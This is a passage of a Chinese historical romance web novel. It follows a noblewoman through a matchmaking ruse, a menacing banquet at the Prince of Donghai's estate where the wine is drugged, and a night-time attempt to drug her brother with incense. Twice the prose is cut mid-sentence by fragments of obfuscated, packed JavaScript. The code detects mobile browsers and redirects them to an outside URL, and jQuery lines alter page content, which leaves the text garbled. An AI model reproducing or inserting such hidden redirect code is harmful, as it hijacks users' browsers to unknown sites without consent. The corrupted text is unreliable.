清心阁二楼窗边,许范似与人谈笑自若,兴致好得很。门前侍从见桓县主径直走过来,立即敲了敲门板,然后迎上前来。 桓清与没等他开口,轻轻错身而过,悄声道:“我找你家公子算账。” 当她踏上二楼最后一级台阶时,许范仍在窗边喝茶,嘴里还诵着诗,“宾客者谁子,倏忽如飞尘。裳衣佩云气,言语究灵神。须臾相背弃,何时见斯人。” “许二公子好雅兴!” 桓清与不请自便,在许范对面坐下,给自己倒了杯茶,“一盏雪毫银针,一卷阮步兵诗,楼上又是乐府令新曲,如此风雅,实在令人艳羡。” “县主现在也喝着我的茶,就不用羡慕范了。”许范笑意未改,再给桓清与添了一杯茶,“来听琴?” 桓清与摇了摇头。 “我改变主意了。” 许范举觞在手,微微一愣。 桓清与瞥了他一眼,自顾笑道,“方才在外面听到一些消息。清与这段时日闭门不出,两耳不闻窗外事,不知许公子现下在金陵城可抢手得很,思来想去,适才许公子的提议也未尝不可。” 许范喝了口茶,“如此。” “你明日可会来桓府提亲?” “咳咳咳——”许范一口茶给呛到,立即侧身朝另一旁咳了好一会儿。 见他缓过来,桓清与才悠悠说道:“看来是不会了。既如此,许公子到现在还不打算向我坦白吗?” 她说着便拿起桌上收起的那几幅画,一幅一幅展开,细看之下,发现每一幅画上的自己,虽衣着服饰各有不同,好似不同时期所作,实际上面容都和当年许蔚给她画的那幅丹青极其相似。可见,是画师将她十三岁的画像融入她这几年经常出没的场景中,这才营造出许范倾慕她多年的假象! 对面朝霞楼的琴声响起,桓清与走到许范旁边坐下,不再言语。 “咳咳。找许蔚借你的丹青图,仿这几幅画,的确是耍了一点小把戏。不过也没到让桓县主如此兴师问罪的地步,不知县主现在是在气许范什么?” “许家同时和崔家、东海王府议亲,你哪家都没看上,又骑虎难下,就设了今日这个局,让我当众拒绝你,好让另外两家脸上难看,主动放弃你这个高门贵公子。原与我毫不相干的事,却由我来背个坏名声,难道不该气么?” “议亲之事确有,我也的确不同意。但今日我是真心实意向你求亲。”许范一直漫不经心的神色变得严肃起来,“所以,并非与你毫不相干。” “你我二人并未正经见过几次,甚至,私下一句话也没说过。” “这又如何?” 桓清与哑口无言,原以为是许范打定主意她不会同意,所以借了她这个幌子来劝退另外两家亲事, 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桓清与缓缓起身,“本以为过来能讨到一个人情债,不料是平局一场。”她看了一眼桌上的画卷,“那些画我带走了,告辞。” “慢着。”许范叫住她,“不如......” 桓清与抱着画卷略一低头,轻声道:“不必了。许公子猜得不错,我的确是有意中人的。留步。”说完转身而去。 许范向后一仰,手肘撑在窗沿上,双目微阖,听着琴曲。朝霞楼那几个轮番跟容珩斗艺,一个个都被打趴下,却还不服输,真真是琴痴。 他坐起身,对着屏风后头说道:“人都走了,出来吧。” 阁内不见一点动静。 “你的提议,我答应了。”许范说道。 这时,屏风内甩出一块令牌,正正落到许范怀中。 桓清与走出清心阁,看了一眼左侧四象亭内和几名中正官、还有崔中散一起挥毫泼墨、填词制曲的桓俭,转身往右侧竹林边的角亭走去。 “许范出重金买你那幅画。我卖了。”许蔚说道,这是三年来,她首次主动跟桓清与搭话。 “连许县主都说是‘重金’,看来一定是很多钱。” “钱分你一半,明日派人送到桓府。”说完,许蔚又起身离去,一声招呼也不打。 桓清与喝着她留下的大半瓶酒,闲坐亭中,听清心阁上容珩一曲《凤栖梧》大败一众挑战者。 待人影散去,桓俭才来收她的酒瓶。 这时,王府管家前来邀请桓俭赴东海王在逸园正殿办的午宴,并言辞恳切地邀请桓清与一同前去。 “我家王爷特别交代一定要请县主和桓将军一同赴宴。” 桓俭目光一凛,欲拒绝,桓清与却抢先答应了下来,“既是东海王殿下特地嘱咐,桓清与却之不恭,有劳先生带路。”她转头对桓俭笑道:“东海王府的宴席久负盛名,哥哥不如就让我见识见识?” 桓俭不再说什么,只道:“依你,不过你得乖乖跟在我身边,不许胡来。”桓清与眼神真挚地点了点头。 7. 青冥浩荡不见底 两人入席时,宾客们差不多到齐了。许氏、容氏各在东海王坐席的左右两侧,往下依次是山氏、萧氏、桓氏、齐氏等。 萧迦叶不知何时已然入座,和前晚一样,依旧是一身玄色衣袍,跽坐席间,如玉山巍峨,岿然不动,身旁的气息都肃然了几分。 整场宴席,男子居多,女客仅有东海王之女安宁郡主和桓清与、许家四小姐许蔚、容家三小姐容芝妍这三位获封县主的士族女子。 没有礼官报幕,已有许多菜品、酒肉陆续端上食案来,座中相熟的人也一边喝酒一边聊了起来。桓清与只觉眼前乌泱泱一大片,耳边叽叽喳喳、嘈嘈切切,无非是士族男子们近来养颜之术、炼丹之术的增益,或是酒场情场的意气之争,声声不堪入耳。 许蔚换了一身紫色宫装,宽大的袖口饰以玄鸟纹,一抹绯色束腰绣着幽兰,艳丽而不失庄重,妆容明媚,更衬得她美艳动人。手上拿着一把上午射猎时用的弓,精铁铸成,没有任何纹饰,她用棉布一点一点擦拭弓上的血迹、泥污,神色冷清,丝毫不在意周遭之人。 容芝妍则坐在容铉、容珩的后首,一袭粉色广袖叠裙,头上梳的是灵蛇髻,金钗翠翘插满发髻,鬓边一朵盛开的胭脂色芍药,衬得本就娇俏的面容更添几分妍丽。她欣赏着新染的指甲颜色,一旁的侍女将西域的紫玉葡萄剥了皮,用银匙喂到她嘴边。 “请来金陵城里大半的权贵,自己却迟迟不现身,东海王殿下真是好大的派头呀。”容芝妍用不大不小的声音说道,嗓音娇嫩,似嗔似怒。近旁几个公子哥借着话头哄劝她,她身旁的容珩却一动不动,似没有她的存在一般。 不多时,东海王萧章一边理了理镶玉的金腰带,从侧门走到殿上,挤出一脸褶子对着容铉客气地笑道:“大司徒的贺礼太对本王的口味了,这不,赶忙将贺礼送回秘阁收藏起来,唯恐破损了一星半点,来回一趟,便耽搁了开宴的时辰。” 容铉仅颔首一笑,合身一副清贵姿态,在这纵情声色的席间既风采出众,又有一种莫名的融洽。 东海王目光扫过席上众人,“诸位都是我东海王府的老熟人了,本王也不多客套,今日宴席从午至晚,咱们就喝个尽兴。” “王爷,怎么个尽兴法,喝到通宵达旦可行?”工部尚书齐瞻之子、现任职于御史台的齐浔扬声问道。 “行啊,到时候,咱们也吟诗作画,秉烛夜游,哈哈哈哈哈。”场下又是一阵喝彩之声。 席间有人私语道:“你们猜是怎样的吟诗作画,秉烛夜游?” 众人回之以一阵窃笑。 酒菜陆续上着,桓清与身前的食案快要摆不下了,她也没有动筷。趁着舞姬上场的间隙,她靠近桓俭耳语道:“都说这东海王的宴会,清贵人家是会回避的,今日一见,果真如此。” 桓俭淡淡一笑,取过桓清与的酒杯,拿自己的水壶给她倒了杯清水,“菜脯和牛肉不错,你多吃一点。” 桓清与不明所以,却十分听话地只吃这两样菜品,再喝点清水润口。细看一眼其他人,萧迦叶和山洵自带了酒壶,并不碰桌上酒菜,而一旁的容珩,索性用的全是自带的银质餐具和几样精致小菜,东海王对此也习以为常。 再看向许蔚,她和容芝妍都泰然自若地吃下所有酒菜,就当寻常美酒佳肴一般。 一舞结束,东海王正欲起身祝酒。 萧迦叶抚掌两声,一个衣着得体的年轻侍从双手捧着一只金丝楠木盒,从门外快步走入殿中。 “萧将军这是何意啊?”东海王笑道。 萧迦叶起身举杯道:“今日是东海王殿下寿宴,萧某特意备此薄礼,望殿下笑纳。” “哈哈哈哈!”见一向清高冷峻的萧迦叶在宴会上如此奉承自己,东海王心中一面得意,一面又有些狐疑,命自己的贴身侍从走下台阶取过木盒。这人回到东海王身侧,打开盒盖,脸上一惊,又暗自镇定地送到东海王身前。 东海王一见,双目微睁,隐隐泛着精光,捧过木盒定睛看了好一会儿,神色迟疑地笑了笑,才摇着头叹道:“本王心系这宝物多年,竟不知萧将军是如何找到的?” “王爷喜欢便好。萧某在边疆偶然所得,想起此物应是王爷的心头好,便在回京时特地带上了。” “好好好!哈哈哈哈——”东海王喜不自胜,“这礼果真送到了本王心坎上。今晚萧将军一定要留下来,咱们叔侄俩喝个痛快!” “全凭殿下安排。”萧迦叶答得十分痛快,说完,将杯中酒一饮而尽。 席中其他人心中各有各的疑虑,面上嘴上却是一致的恭维说辞,把宴会氛围衬得愈加欢畅。一些并不十分追捧东海王的人,见出身军功世家,如今又获封卫将军的萧迦叶如此,以为东海王的势力更盛,便越加紧着奉承他。甚至有人当场诵诗一首,用蹩脚的文采把东海王夸得天花乱坠,诗句首尾牛头不对马嘴。 容珩慢条斯理地放下银箸,转头向其父容铉低声说了句什么,便起身退场,因步履太快而飘荡空中的衣袖,白得仿佛沾不得一点污色。 他目中无人,座中众人也同样对他视若无睹,劝酒的劝酒,谈笑的谈笑。 桓清与只听见身后有人窃窃私语道:“乐府令真是一如既往的清高,但只要入了这宴席,面上干净了,里面也干净不了。”桓清与不禁回头看了一眼,却压根找不到方才说话之人。 又是一曲终了,东海王将目光投向了桓俭,叫住领舞的舞姬,“来!给桓将军满上。桓将军自小就是少年天才,如今战功赫赫,果真不负众望!难得桓氏今日也赏脸出席本王的酒宴,本王就和贤侄喝上一杯。” 舞姬将酒盏奉至桓俭案前,桓俭信手接过,缓缓饮尽。 “好!”东海王抚掌大笑,又道,“再给桓县主满上!” 桓俭转头对东海王说道:“清与不胜酒力,这杯由俭代劳罢。”说着,伸手取酒。 “唉!桓县主女中豪杰,区区一杯酒算得了什么。”东海王示意身边的侍卫下堂,走到舞姬身边,座中众人眼中闪现异色,不少人甚至露出一副看好戏的模样。 舞姬神色怯怯地将酒奉至桓清与眼前,“县主请。” 桓清与只见舞姬身后的侍卫将佩剑抽出了半截,剑光凛凛,那头东海王又道:“在本王的酒席上,劝酒也要劝得有诚意。县主若把酒喝了,便是咱们宾 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侍卫的剑在他下令的那一刻,挥向舞姬。 剑光闪现,桓清与旋身踢落长剑,一个手刀将侍卫打倒,随后躬身拾起剑柄。 一切动作都在电光火石之间,舞姬吓得匍匐在地,席间众人鸦雀无声,目不转睛地盯着桓清与,唯恐一晃眼没看清场上发生了什么。 她将剑横在身前细看了一眼,按捺着心中的思绪,最后暗暗发力,将之往身侧一掷。 “咚”的一声,剑刃没入大殿右侧的梁柱中。 许蔚兴致盎然地看着桓清与的一举一动,喜怒难辨。 桓清与抬起头,笑着朗声道:“舅舅要试清与的武功,何必如此大费周章?清与年纪还小,经不得长辈这么吓唬,席上失仪,还请诸位见谅。” 东海王依旧双手叉腰站在堂上,听到这番话,冷笑一声,脸上堆着笑说道:“你这丫头,不愧是晋国长公主之女,脾气也像极了你娘。” 桓清与笑了笑,行礼道:“清与身子乏了,先行告退。” “哼。”东海王冷冷一笑,巴不得她赶紧消失,见她还知道给自己一点面子,便故作大度地笑道:“去罢。” 桓清与穿过重重门扉,一路走到殿外长廊,望着幽幽青冥,长吁了一口气。 打翻那杯酒时,她原想一剑挥向东海王殿前的房梁,跟他公然叫板,直接把这种残暴血腥的宴会搞砸算了。可转念一想,纵然他暴虐无道,此事闹上朝堂,诉诸律法,她或是魏帝都无法将之治罪,自己恐怕还会留下被人弹劾的把柄。 这种无可奈何的苦闷,压得她几乎喘不过气来。这时,她想起了父亲,为官多年,他大概一直活在这种苦闷与抗争之中。 云层深处隐约传来几声雷鸣,过午的天空渐渐暗了下来,风中夹杂着雨的消息。 桓清与似有所感,转身看向回廊尽头,一袭白衣胜雪闯入眼帘,其人身长玉立,衣袂翩跹,一步一浩荡地向她走来,青丝散漫也难掩倾城绝色。 廊外风摇雨坠,落叶飞花,仿佛皆因他而来。 8. 山雨欲来风满楼(上) 待他走近,桓清与才发现这仿若云中君一般的人物,左手拎着一只食盒,右手闲闲负于身后。 “去年的分红。”话音未落,他抛出一只粗布袋子,桓清与立即伸手接住,在手里掂了掂,笑道:“乐府令经营有道。” 容珩一步未停,经过桓清与身侧,走到山崖边一座观景亭内。此时还只有零星的雨点,亭中尚且安宁,桓清与便也跟了过去。 她见容珩打开食盒,里面俨然一只新鲜的烤鸡,想起刚刚在宴会上没吃多少,忽然有些饿了。碍于自己跟容珩交情浅,又不好开口,只能一动不动看着他举止优雅地用小刀将鸡肉切成一片一片,整整齐齐地放在碗碟上,心里馋得很。 他切好一碟,轻轻往桓清与身前一送。 在桓清与直接上手前,容珩又递来了一双银筷。 桓清与双手接住,“多谢乐府令雪中送炭。”说完,就夹起一块鸡腿肉尝了起来,心里直夸道:“外焦里嫩,口感鲜滑,火候也刚刚好!” “不用谢我,是俭提前备好的。我顺路送过来,打个秋风。”容珩给自己切了一碟,也开始品尝起来,桓清与第一次与他这么近距离一同进食,不得不感慨怪不得他被称为三国第一美人,连进食也如此仪态端方,令人赏心悦目。 容珩和桓俭关系好,她是知晓的,但没想到能这么好,容珩为人向来清高,也少与人交际,桓俭竟能把他当小差使唤,说出去都没人信。 “乐府令可知,宴会的酒水里究竟有什么?”待容珩进食完,桓清与忍不住问道。 容珩抬眸看着她,道:“你连酒里有没有毒都不知道,就那么不顾情面地违抗他?” 桓清与一时间不知该如何作答。 容珩明白,她抗拒的不是那杯酒,而是东海王的做派,以及这做派背后曾带给无数人的灾难。当然,还有东海王那蛮横霸道的劝酒方式,严重侵犯了她这位被皇帝陛下、被整个桓家视为掌上明珠的贵女的尊严。 “其实也没什么大不了的东西,就是加了点五石散,有时候,还会加一些催情的药物。”他继续解答桓清与的疑问,语气平淡,没有一丝波澜。 桓清与闻言,面上已有骇然之色,一阵恶心涌上心头。 容珩看了眼桓清与身后,道:“今日是我话太多了。告辞。” 桓清与立即起身相送,一直看着他的身影消失在回廊尽头,心里不断思索着王府宴会前前后后的事。 “人都走远了,还看?”背后突然传来桓俭的声音。 她突然耳后一热,义正言辞地反驳道:“乐府令是许蔚的人,我才不会肖想呢!”说完回头看见与桓俭同行的另一人,正是萧迦叶。 桓清与行了一礼,对方亦微微颔首。 “酒宴还在继续,我和迦叶请辞出来,准备启程回金陵,特地出来寻你。”桓俭向她解释道。 “轰隆隆”一阵雷鸣电闪,风势雨势渐渐大了起来。桓俭见桓清与出门出得急,未着狐裘,立即解下自己身上的鹤氅给她披上,宽大的鹤氅将桓清与团团裹住,霎时显得原本高挑的她娇小了几分。 萧迦叶望了眼山崖外的天色,“雨势从山对面过来,黑云压城,是暴雨的迹象。”他回头看向桓家两兄妹,“今日恐怕回不了金陵。” 桓清与抬头望天,天色的确比方才又暗了不少。 “先回楼内避雨吧。”桓俭说道。 三人穿过回廊,进入最近的一座阁楼听风阁,上至顶楼第三层,整座逸园的排布与景致都在眼前:从正门口至半山腰为前院,地势逐渐升高,山腰处正中央是举行宴会的飞鸿殿,大殿两边各有一座高楼耸立,西侧为听风阁,东侧为望月楼。听风阁的西边,忘忧谷、清心阁、冷泉等景观依次分布;望月楼的东边,则是百花池,其间开辟了多个温泉水池,有亭台楼阁、九曲回廊遍布其间,因各处温泉旁种有桃花、芍药、木兰等不同花木而得名。此外,各处景观附近都建有寝殿交错其间。 桓清与站在窗口,远远望见逸园各处都点上了灯,走道上,王府仆从们举着火把来往穿梭,打点各处,准备给今日所有的宾客安排住处。 方才宴会上场面混乱,秩序全无,此刻安排数十人的吃住行程却井井有条。 “看来应付今日这样的局面,王府的管家们经验颇丰。”桓清与轻声感慨道。 不过申时,飞鸿殿内歌舞依旧,屋外风雨如晦。 一些官职稍低的官员及家眷被安排在前院的厢房居住,容、许、萧、桓等高门被安排在后山的寝殿。 桓俭将桓清与送至忘忧谷后院的寝房,便欲离开。她伸手拉住桓俭,轻声说道:“乐府令说,宴会上的酒有问题。” 桓俭了然一笑,“放心。今晚你好好休息,哪里都别去。” 桓清与点点头,倚在门边,看他的身影消失在雨幕中。 许范住在百花池附近的暖阁,辞谢了陪同的管家,正欲进门,雕花木门突然打开,许蔚一脚横在门前,背靠着门沿,气焰嚣张地瞧着他。 许范笑了,“四妹,你现在着女装,这姿势不雅。”他继续往前走,许蔚不让。 “有什么事不能进去聊,白让人看笑话?” 许蔚最烦家里年长一点的几个叫她“四妹”,年纪小对于她在许家争夺权力是劣势,纵使她贵为已故郑国长公主之女、许家嫡女,却也常在几个兄弟姐妹中讨不着好。 眼见许范要闯入,许蔚一收腿直接向他出招,许范立即后退几步,摇头道:“如今你长进了,论武功我的确不是你的对手,但你在王府里对我发难,闹到父亲面前可不好看。” “你对桓清与做了什么?” “我记得你和她早就分道扬镳了,还这么关心她?” “你到我房里偷了那幅画,你说我该不该管?” 许范思量了片刻,目光锐利,抬头道:“进去说。” 许蔚也知道逸园到底不是许府,转身进门,径直坐到桌案前,等着许范的解释。 许范从容不迫地进门、关门,提了提衣裳下摆,见靴子上有些泥污,准备找双鞋换上,想到屋里坐着的那位可没什么耐心,还是忍着脏鞋移步桌前坐了下来。 一套动作下来,许蔚的耐心已濒临溃败。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549299|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “昨晚许缜去花萼楼回来,到我院里坐了一会儿,提到在齐浔的酒宴上见到了桓县主。”许范笑了一下,“桓县主当着几名外男的面,和齐浔争辩男女之事,侃侃而谈,正义凛然。绝不是咱们家的长辈会中意的媳妇,而她自己,恐怕也瞧不上许家。” 许蔚看他一脸笑意地说着一个适龄女子看不上自己家世,不禁再次感慨,许家这一众儿女中,只有许范是她最大的对手。其他那些个,许萦、许葭她不放在眼里,许墉、许瞻则本事不大,唯爱逞凶斗狠。 “现在摆在眼前的几门亲事,我都不感兴趣。所以,昨夜临时想到这个法子,借她做挡箭牌避一避。” “崔家和东海王府还满足不了你的野心?” 许范默然不语。 “你就不怕桓清与万一同意了?” “没有万一。”许范随手沏茶,目光停留在茶汤泛起的白色烟雾上,“你俩那么要好,她肯定跟你一个性子。看不上我。” “我跟她没有关系。此事父亲已经知晓,不久便会传遍金陵。以后还有哪个高门的女儿愿意嫁给你?” “正合我意。” 许蔚一脸不屑,冷笑道:“是么?若是陈夫人知道此事,恐怕会对你很失望。” 这几年许家的子女都陆续到了可婚配的年纪,姻亲关系会再次改变他们在许家的地位。而许范此举,极可能让自己离家族权力中心越来越远。其生母陈夫人和许蔚的生母郑国长公主是许遵的平妻,陈夫人一向把许范逼得紧,指望着儿子成为下一任许氏族长,她这辈子才算扬眉吐气。 “你想知道的,我已经交代清楚了。不送。”听她提到陈夫人,许范终于沉下了脸,毫不留情地送客。 许蔚走到门口,忽然想起什么,说道:“我跟桓清与说,是你花重金买了那幅画。” “明日我派人将银两送到你院里。” 许蔚刚得意,他又加了一句,“一手交钱,一手交货。” 许蔚没有回应,打开门走了出去。一阵凉风涌进来,风中夹着清冷的雨丝,飘飘洒洒。 许范起身合上门,自嘲今日不知走了什么运,被两个丫头片子接连审问。 他解下外衣,只着一袭轻衫,将靠床的两扇轩窗推开,手捧热茶,在窗边坐了下来。早春的寒雨打在背上,寒气入体,他一动不动靠着窗闭目养神。 是夜大雨倾盆,风林舞破。 许蔚出了百花池往西走,绕过长廊,驻足在一间寝房外。屋内灯火明亮,映得窗边几丛疏竹在雨中生机盎然。 雨声淅淅沥沥,许蔚一直站在原地,看着窗上偶尔浮现的人影,几乎忘了时间的流逝。 长廊后隐约传来人声,是宴会上醉酒的人们陆续回房了。她正犹豫是否离开,又远远听见容芝妍的笑声。 许蔚暗暗积蓄内力,一个侧身,从绿竹旁破窗而入。 翻身入内后,她又将被掌风损坏了木栓的窗户扣紧,挪了墙边的竹架过来顶住,以防晚间被大风吹开。 一顿忙活后转过身,才发现原本专心调弦的容珩,已看着她好一会儿了。 9. 山雨欲来风满楼(中) 许蔚视若无睹,随手脱下沾了雨水的外袍搭在屏风上,拍了拍袖子,往容珩的床榻走去,口中简单解释道:“容芝妍带了几个野男人回来。”谅他不好意思在这个当口把她赶出去。 话音刚落,屋外的确响起一阵喧闹的笑声,男男女女,一路打情骂俏,直到几人进了旁边的寝房,门外才得安宁。容珩起身走到床榻边,想把她撵出去,却见许蔚倒在床上睡着了,平日紧锁的眉头终于舒展开。 他站在床头看了一会儿,最后给许蔚盖好被子,自己翻出另一床被褥铺到竹榻上,和衣而眠。 夜渐深,雨势越发大了起来。 桓清与辗转难眠,来来去去回想这两日的事。昨晚才上花萼楼,立马又收到请柬,哪怕东海王一向不按常理出牌,此举也过于匆忙,背后像是有什么急不可耐却又不可告人的目的。 思绪纠缠间,许范和那几幅画又浮现在她眼前,一时间,事发那一刻都来不及理会的羞恼、难堪全部涌上心头。“哼!”她一拳锤在身下床板上,“咚”的一声,淹没在淅沥雨声中。 “小姐你怎么了?”连云耳力好,心又细,从旁边小榻上坐起身来问道。 “定是想起白日里许范的事,这会儿气不过了。”碧芜躺在对角另一张榻上,替桓清与答道。“不过咱也没吃亏啊,小姐你今天杀他一个回马枪,厉害得很,料想这金陵城里的纨绔子弟以后都不敢招惹你了,落得清净自在!” 桓清与窸窸窣窣起身,直接在素色抹胸裙上套了件外袍,随手将一头青丝挽了个发髻。连云听得声响,速速起身来,“小姐这是要出门去?” “嗯。”桓清与再披上一件狐毛大氅,“连云快拿一套蓑衣给我。我要去哥哥那儿看看才放心。” 碧芜突然从榻上跳了起来,摸着黑从自己的小药箱里面拿出几只药瓶。 桓清与见状,一边在连云的协助下往身上套着蓑衣,一边笑道:“咱们家碧芜就是机灵!” “这是静心丸,有安神静气的功效,暗卫里不少壮年独身的男子,出任务都会带上这个,必要时去去心火。这个鼻烟壶里是醒神药,中了一般的迷药,闻一闻这个就清醒了,平时不要打开它。这个是护心丸,万一受了重伤,立即服下能护住心脉,延长救治时机。” 碧芜语速奇快地介绍完几种药,一把将药瓶塞到桓清与手里,“小姐可记住了?” 桓清与点点头,将药瓶放入内衫侧袋中,“鸣镝我带上了。万一遇上麻烦,再传信给你们。”她回头看了眼连云,“先歇着吧。” 随后拉紧身上的蓑衣,轻轻推开门,溜进昏暗的雨夜。 “你们是猜测,有人想对大公子行不轨之事?”连云原本只是心有疑虑,在听到碧芜拿的那几味药时,便明白过来了。“是,安宁郡主?” “恐怕是了。”碧芜收拾了药箱,又钻进暖和的被窝里,“我们的人在大公子寝房外防备得很周密,但如果安宁郡主真闯过来,这事无论怎么处理,闹大了都是大公子吃哑巴亏。小姐亲自过去一趟,也更稳妥些。” 连云想起当年安宁郡主闹着要嫁给桓俭的事,又想起宴席上的那杯酒,一时间心烦意乱。 碧芜打了个哈欠,“睡吧。小姐都冒雨过去了,不会出什么岔子的。就算出事,咱们收到信儿再见机行事。” 桓清与冒着倾盆大雨,穿过竹林间的长廊,奔向后山小院,数着一间一间的房号“竹霭”“松风”“月影”“花间”,绕过一角花圃,再沿着石阶拾级而上,才隐隐望见一座寝殿矗立在风雨中,檐下风灯零乱而醒目。 她拉低帽檐,挡了挡扑面而来的寒雨,快步躲进了廊下。 此处设了两间房,一名“天河”,一名“雪后”。房内都已熄了灯,桓清与驻足“雪后”门前,取下头上的蓑笠甩了甩雨水,欲抬手敲门,不料手背才触上木板,这扇门便悠悠向后敞开。 “门没锁。”桓清与心下生疑,戒备地跨过门槛,走入房内。 一个黑影闪现,来势汹汹,猝不及防间,桓清与抛出手中的蓑笠攻向对方,她的视线还停留在抛入空中的蓑笠上,那人却以手为刃将之劈为两半,闪至桓清与跟前。她侧身躲过正面一击,回身格挡,可惜对方的动作远远快过她,数招之间,双手已被擒住,耳边传来冷峻的审问:“你是谁?” 桓清与从未遇过如此强劲的对手,纵是师父华琰考校她武功时,压迫感也不及此刻。 对方尚且问她话,情况就不至于太危急。她平复了气息,冷声回问道:“你是谁?”此话一出,她察觉手腕上擒住她的力道轻了一点,索性自报家门:“淮阴县主桓清与。请教阁下是?” 对方突然松开了她的双手,回身走到桌案旁点燃了烛台,室内逐渐明亮一些。 烛光照亮了萧迦叶的侧脸,他像是刚从床榻上起来,仅着一件深色内衫。见桓清与站在房门口,蓑衣上的雨水一直往下滴,他走到炉火将熄的茶台边,取了尚且温热的茶壶,倒了一杯热水放在案上。 “把蓑衣脱了,喝杯水暖暖身吧。” 说完,他才用手背抹去了和桓清与交手时被甩到脸上的雨水,走到屏风后披上外袍。 桓清与没料到屋里的人是他,一时愣住,经他提醒,立即退下蓑衣,才发觉衣裳已半湿。门口的夜风吹拂不休,她冷不防一连打了几个喷嚏,只好关上门,抓起袖子捂住鼻口,快步走到桌边将热茶捧在了手心。 这时,萧迦叶穿戴整齐从屏风后走出来,“俭在隔壁房里。”他知道桓清与深夜出现在此地的原因,只能是为了桓俭。“他的酒被下了药,王府中恐怕有人是冲着他来的。” 桓清与闻言起身,将茶杯一放,急切地问道:“什么药?那他现在怎么样?” 萧迦叶似乎猜到她会有这么激烈的反应,“他服了解药,晚上会睡得很沉,所以我和他换了房间。” 桓清与还想问什么,萧迦叶却用一个手势止住了她,将蜡烛吹灭,走到门边。桓清与待视力适应了黑暗,才随之移步到门口,只听见门外传来清脆的女声,“郡主,小心台阶。” 另一个女子突然打了个喷嚏,又娇声怨道:“原本特意等雨小了才出门的。怎么还是淋湿了呀?红玉,我好冷。” “郡主受苦了。要不,要不咱们还是回去吧?万一淋病了就麻烦了。” 被唤作郡主的女子,正是东海王独女安宁郡主。她犹豫了一会儿,才道:“不行。我好不容易才有离他这么近的机会,绝不能错过了。” 侍女红玉拿灯照了照房号,“‘雪后’,郡主,就是这里了!” “对!就是雪后!”安宁郡主惊喜地说道。 “嘘,郡主,咱们小声一点,别让人发现了。” 安宁郡主点了点头。 红玉从油布袋中拿出一只火折子,点燃一根长管状的迷魂香。她用迷魂香点燃的一头在窗纱上烧了一个小洞,将迷魂香伸进房内。 房门外的两人絮语不断,“红玉,这点迷药够用吗?” “郡主放心,我特意请了咱们院里的侍卫首领一大桌酒菜,才换得这一管药。说是不用一炷香的时间,整间房的人都能迷倒呢。” 听得来者如此生手,萧迦叶已半靠门边,静观其变。 桓清与觉得身上冷,不想在此地费太多时间,便走上前,两指夹住药管,轻轻使力一抽,整根迷魂香都被抽进了门内。 “啊!”红玉惊呼一声,“迷魂香被抢走了!” “什么?里面有人!”安宁郡主更是惊诧不已。 她在门前跺脚,“谁?谁在里面?” 桓清与没回话,用袖子掩住口鼻,蹲下身把迷魂香摁灭在地上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549300|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萧迦叶看着她的举动,哑然而笑。她总是如此地出人意料。 红玉反应过来,急急扯着安宁郡主的袖子离开了,嘴上念着“郡主,咱们快走,别被抓个正着!” 声音渐渐远去,门外终于清净了。 桓清与轻声笑着,以手作扇,挥散了药管上的余烟,嗅了嗅,“还真是西域迷魂香。” 抬头看向萧迦叶,发现他已经走回内室将烛台点燃,然后移步茶台边,将几块快燃尽的红炭夹到一旁的炭炉中,加上几块新炭,手握一把半旧的羽扇轻轻扇着。他烧炭的技巧似乎很好,不一会儿炭火就渐渐起来了。 他将炉子架到桌案旁,供桓清与取暖。 桓清与坐在旁边手捧热茶,一双眼睛像粘在他身上一样,看他忙前忙后,自己却未发觉。 萧迦叶察觉到她的目光,拍了拍手上的灰,取一块绢布擦手,说道:“东海王府的酒,大多会掺一些五石散,俭的酒中却过了量,想来正是这位安宁郡主所为。你就如此轻易放过她?” 桓清与放下茶杯,看着眼前的炉火,思量道:“得饶人处且饶人。况且,她也不是坏人,只是......”她一时不知如何描述安宁郡主的荒唐行径,最后冒出一句,“只是傻。” “我做得......不对么?”桓清与坦然问道,自己或恐有不周全之处,不如直接向他请教。 自回京以来,萧迦叶只见过桓清与两次,一次是花萼楼中齐浔的酒宴,第二次便是今日。无论是酒宴上的唇枪舌剑,还是今日清心阁上的狡黠聪慧、东海王宴会上的提剑怒视,她都是一个骄傲、不可一世的贵女模样,哪怕事出有因,但骨子里的傲气展露无疑。 此刻,她却收起了锋芒,只是一个虚心求教的小姑娘。 萧迦叶的目光柔和了几许,转头看向窗外逐渐破碎的微光,“不,你做得很对,此事不宜闹大。” 闻言,桓清与心头一喜。 此时室内寂静无声,发觉他并没有要继续说下去的意思,桓清与才恍然醒转,尚且陌生的两人共处一室,并不妥当。 她立即起身,拢了拢身上的狐裘,作揖行礼道:“既已事了,清与就不打扰了。多谢将军施以援手。” 话音刚落,屋外雷鸣轰响,一道闪电划破天际,仿佛要把夜空劈开一般,刚消停了一会儿的雨势又大了起来。 这样大的雨,一如五年前那个秋夜,身上湿冷的感觉,身边寡言少语却给她庇护的人,都一一重现。 桓清与望了望窗外,见廊下微弱的灯光被吹灭,想起斗笠在她进门时已被劈作两半......她犹豫了一刹,最终还是迈开步子,向门口走去,心里盘算着就算淋雨回去,也不能留在此地了。 “县主打算就这么出去?” 身后传来萧迦叶的声音,她回过头去,只见他草草披上一件大氅,换上了外出时穿的布靴走过来,先她一步打开房门,屋外寒风霎时流窜进来。 “你今夜就留在这里休息罢。” 桓清与神色不解地望着他,“那你呢?” “我去隔壁。”萧迦叶留下这句话便离开了,一并带走了所有的寒风细雨。 